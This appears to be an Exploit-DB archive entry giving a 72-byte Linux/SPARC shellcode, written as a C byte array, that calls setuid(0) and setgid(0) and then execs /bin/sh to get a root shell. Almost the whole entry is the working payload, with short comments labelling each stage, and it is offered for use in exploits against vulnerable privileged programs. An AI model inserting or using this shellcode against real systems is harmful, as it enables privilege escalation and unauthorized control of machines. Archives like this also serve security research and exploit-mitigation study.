Linux/SPARC - setreuid(0,0) + execve() Shellcode (72 bytes)
EDB-ID:
43546
Size:
72 bytes
Author:
Michel Kaempf
Type:
shellcode
Platform:
Linux_SPARC
Published:
2009-01-01
/*
* Linux/SPARC
*
* setreuid(0, 0); (necessary, /bin/sh drops privs), standard execve().
*/
char c0de[] = /* by michel kaempf */
/* setuid( 0 ); */
"\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10"
/* setgid( 0 ); */
"\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10"
/* Aleph One :) */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10";